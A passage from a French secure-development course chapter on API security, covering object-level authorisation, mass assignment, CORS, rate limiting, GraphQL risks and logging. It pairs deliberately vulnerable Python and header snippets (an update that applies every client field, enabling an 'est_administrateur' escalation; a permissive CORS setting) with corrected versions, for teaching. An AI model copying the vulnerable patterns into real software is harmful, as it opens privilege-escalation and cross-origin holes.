    commande = base_donnees.commandes.get(id_commande)
    return commande

# Corrigé : vérification explicite de la propriété de la ressource,
# systématique à chaque appel, indépendamment de ce que l'interface
# graphique aurait normalement permis ou non de faire
def obtenir_commande(id_commande, utilisateur_courant):
    commande = base_donnees.commandes.get(id_commande)
    if commande is None or commande.id_utilisateur != utilisateur_courant.id:
        raise AccesRefuse()
    return commande
```

Cette vérification doit être répétée pour **chaque** point d'entrée manipulant une ressource identifiée par un identifiant (commande, facture, document, message), et non supposée acquise une fois pour toutes ailleurs dans l'application.

Approfondissement : l'assignation massive (*mass assignment*)

Une vulnérabilité fréquente et distincte des précédentes survient lorsqu'un point d'entrée d'API met à jour un objet en acceptant directement l'ensemble des champs fournis par le client, sans restreindre explicitement quels champs peuvent réellement être modifiés par cet appelant :

```

# Vulnérable : tous les champs envoyés par le client sont appliqués
# directement à l'objet utilisateur, y compris des champs qui ne
# devraient jamais être modifiables par l'utilisateur lui-même
def mettre_a_jour_profil(id_utilisateur, donnees_recues):
    utilisateur = base_donnees.utilisateurs.get(id_utilisateur)
    utilisateur.update(donnees_recues)  # ex. { "nom": "...", "est_administrateur": tr
    utilisateur.sauvegarder()

# Corrigé : liste blanche explicite des champs autorisés à être
# modifiés par ce point d'entrée précis
CHAMPS_MODIFIABLES_PAR_UTILISATEUR = {"nom", "email", "biographie"}

def mettre_a_jour_profil(id_utilisateur, donnees_recues):
    utilisateur = base_donnees.utilisateurs.get(id_utilisateur)
    for champ, valeur in donnees_recues.items():
        if champ in CHAMPS_MODIFIABLES_PAR_UTILISATEUR:
            setattr(utilisateur, champ, valeur)
    utilisateur.sauvegarder()

```

Si un attaquant ajoute simplement le champ `est_administrateur: true` à sa requête de mise à jour de profil, la version vulnérable applique ce champ sans discernement, provoquant une élévation de privilèges. La liste blanche explicite des champs modifiables constitue ici, comme au chapitre 1, la défense structurellement fiable plutôt qu'une tentative de filtrage d'une liste noire de champs sensibles à exclure.

3. Authentification et autorisation des API

- **Clés d'API** : simples à mettre en œuvre mais offrant peu de granularité ; à transmettre exclusivement via un en-tête HTTP (jamais dans l'URL, qui peut être journalisée ou mise en cache) et sur une connexion chiffrée.
- **OAuth 2.0** : cadre standard de délégation d'autorisation, permettant à une application tierce d'accéder à des ressources au nom d'un utilisateur sans jamais connaître son mot de passe.
- **JWT** : rappel du chapitre 3, avec vérification stricte de la signature et de l'expiration.
- **Principe du moindre privilège appliqué aux portées (scopes)** : une clé/jeton d'API ne devrait donner accès qu'aux opérations et ressources strictement nécessaires à l'usage prévu, pas à l'ensemble de l'API par défaut.

4. Validation systématique côté serveur

Principe absolu : **toute validation effectuée uniquement côté client (JavaScript) doit être considérée comme inexistante du point de vue de la sécurité**, car un attaquant peut appeler directement l'API en contournant totalement l'interface utilisateur. Toute règle de sécurité (autorisation, validation de format, limites métier) doit être appliquée et vérifiée côté serveur, la validation côté client n'étant qu'un confort d'expérience utilisateur, jamais un contrôle de sécurité.

Ce principe s'étend aux **limites métier**, souvent oubliées : par exemple, une API de commande en ligne doit révérifier côté serveur qu'une quantité commandée reste positive et raisonnable, qu'un prix n'a pas été altéré entre l'affichage côté client et la soumission de la commande, ou qu'une remise

appliquée correspond bien à une règle métier valide — autant de contrôles qu'un client malveillant peut contourner en construisant directement sa requête API sans jamais passer par l'interface prévue.

5. Configuration CORS (Cross-Origin Resource Sharing)

Le mécanisme CORS définit quelles origines web sont autorisées à effectuer des requêtes cross-origin vers une API depuis un navigateur. Une configuration `Access-Control-Allow-Origin: *` combinée à l'autorisation d'envoi de cookies/identifiants est une mauvaise pratique fréquente, pouvant faciliter des attaques exploitant le navigateur d'un utilisateur authentifié depuis un site tiers malveillant.

```
# Configuration risquée : autorise n'importe quelle origine ET
# les identifiants (cookies), une combinaison normalement rejetée
# par les navigateurs conformes à la spécification mais parfois
# reconstituée par erreur via une réflexion dynamique de l'origine
Access-Control-Allow-Origin: https://site-quelconque-demande.example
Access-Control-Allow-Credentials: true

# Configuration recommandée : liste explicite et restreinte des
# origines réellement autorisées à effectuer des appels authentifiés
Access-Control-Allow-Origin: https://application-officielle.example
Access-Control-Allow-Credentials: true
```

Un piège fréquent consiste à réfléchir dynamiquement l'en-tête `Origin` de la requête entrante dans la réponse `Access-Control-Allow-Origin` (pour éviter de maintenir une liste statique), ce qui revient en pratique à accepter n'importe quelle origine tout en semblant restrictif : cette pratique doit être évitée au profit d'une liste explicite et contrôlée des origines légitimes.

6. Limitation de débit et quotas (rate limiting)

Mesure de défense en profondeur essentielle, souvent négligée : limiter le nombre de requêtes qu'un client (identifié par clé d'API, jeton ou adresse IP) peut effectuer dans une fenêtre de temps donnée, contrant à la fois les attaques par force brute sur l'authentification et l'extraction massive de données.

Où et comment appliquer cette limitation

La limitation de débit doit généralement être appliquée à plusieurs niveaux complémentaires : globalement par adresse IP (contre les attaques automatisées non authentifiées), par compte ou clé d'API (contre l'abus d'un compte légitime compromis ou détourné), et parfois par point d'entrée spécifique (un point d'entrée d'authentification ou de réinitialisation de mot de passe justifie une limite bien plus stricte qu'un point d'entrée de simple consultation). Une réponse HTTP standardisée (code `429 Too Many Requests`, en-tête indiquant le délai avant nouvelle tentative) permet aux clients légitimes de s'adapter, tandis qu'un dépassement répété peut alimenter une détection d'abus plus large.

Approfondissement : risques spécifiques à GraphQL

Les API GraphQL, qui laissent le client composer librement la forme exacte de sa requête (quels champs, quelle profondeur d'imbrication de relations), introduisent des risques spécifiques qui n'ont pas d'équivalent direct dans une API REST classique :

- **Requêtes profondément imbriquées ou récursives** : un client peut construire une requête demandant des relations imbriquées sur plusieurs niveaux (ex. un utilisateur, ses commandes, les produits de chaque commande, les avis sur chaque produit, etc.), générant côté serveur un coût de calcul et de base de données disproportionné par rapport à la taille apparente de la requête — un vecteur de déni de service applicatif propre à GraphQL, à limiter par une profondeur ou une complexité de requête maximale imposée côté serveur.
- **Introspection en production** : GraphQL propose nativement un mécanisme d'introspection permettant à un client de découvrir l'intégralité du schéma de l'API (tous les types, champs et relations disponibles). Laisser cette fonctionnalité active en environnement de production facilite la reconnaissance par un attaquant, qui découvre ainsi la surface d'attaque complète sans travail de rétro-ingénierie ; il est recommandé de la désactiver hors des environnements de développement.

7. Journalisation et supervision des API

Journaliser les tentatives d'accès refusées, les erreurs d'authentification répétées, et les schémas d'usage anormaux (rappel du module *Gouvernance*, chapitre 4, sur les indicateurs de sécurité), pour permettre la détection d'une exploitation en cours et alimenter une réponse à incident.

Un point de vigilance propre au contexte API : les journaux ne doivent jamais contenir en clair les jetons d'authentification, clés d'API ou autres identifiants sensibles transmis dans les en-têtes de requête, sous peine de transformer le système de journalisation lui-même en cible attractive pour un attaquant ayant compromis un accès en lecture à ces journaux.

8. Synthèse : une checklist de sécurisation d'API

1. Authentification forte et jetons correctement vérifiés (chapitre 3).
2. Autorisation vérifiée systématiquement à chaque appel, au niveau objet et fonction (jamais déléguée au client), y compris pour les champs modifiables (prévention de l'assignation massive).
3. Validation stricte des entrées et des limites métier côté serveur, quelle que soit la validation déjà présente côté client.
4. Exposition minimale des données (ne renvoyer que les champs nécessaires).
5. Limitation de débit et quotas, à plusieurs niveaux (IP, compte, point d'entrée sensible).
6. Configuration CORS restrictive et explicitement listée, sans réflexion dynamique non contrôlée de l'origine.
7. Chiffrement systématique des communications (TLS, module *Cryptographie*).
8. Journalisation et supervision des accès et anomalies, sans exposer d'identifiants sensibles dans les journaux eux-mêmes.
9. Pour les API GraphQL spécifiquement : limitation de la profondeur/complexité des requêtes et désactivation de l'introspection en production.

À retenir

- L'OWASP API Security Top 10 recense des risques spécifiques aux API (BOLA, BFLA, assignation massive, exposition excessive de données, absence de rate limiting), complémentaires du Top 10 applicatif général.
- Aucune validation ni autorisation effectuée uniquement côté client ne doit être considérée comme un contrôle de sécurité : tout doit être revérifié côté serveur, y compris les limites métier et les champs réellement modifiables par un appelant donné.
- Une configuration CORS restrictive et explicite évite qu'un site tiers malveillant n'exploite le navigateur d'un utilisateur authentifié ; la réflexion dynamique non contrôlée de l'origine annule l'intérêt de la restriction.
- GraphQL introduit des risques spécifiques (requêtes imbriquées coûteuses, introspection exposée) qui nécessitent des contre-mesures dédiées, absentes d'une API REST classique.
- La sécurisation d'une API repose sur la combinaison systématique de plusieurs contrôles (authentification, autorisation, validation, limitation de débit, configuration, journalisation), en cohérence directe avec la défense en profondeur vue au module *Security by design*.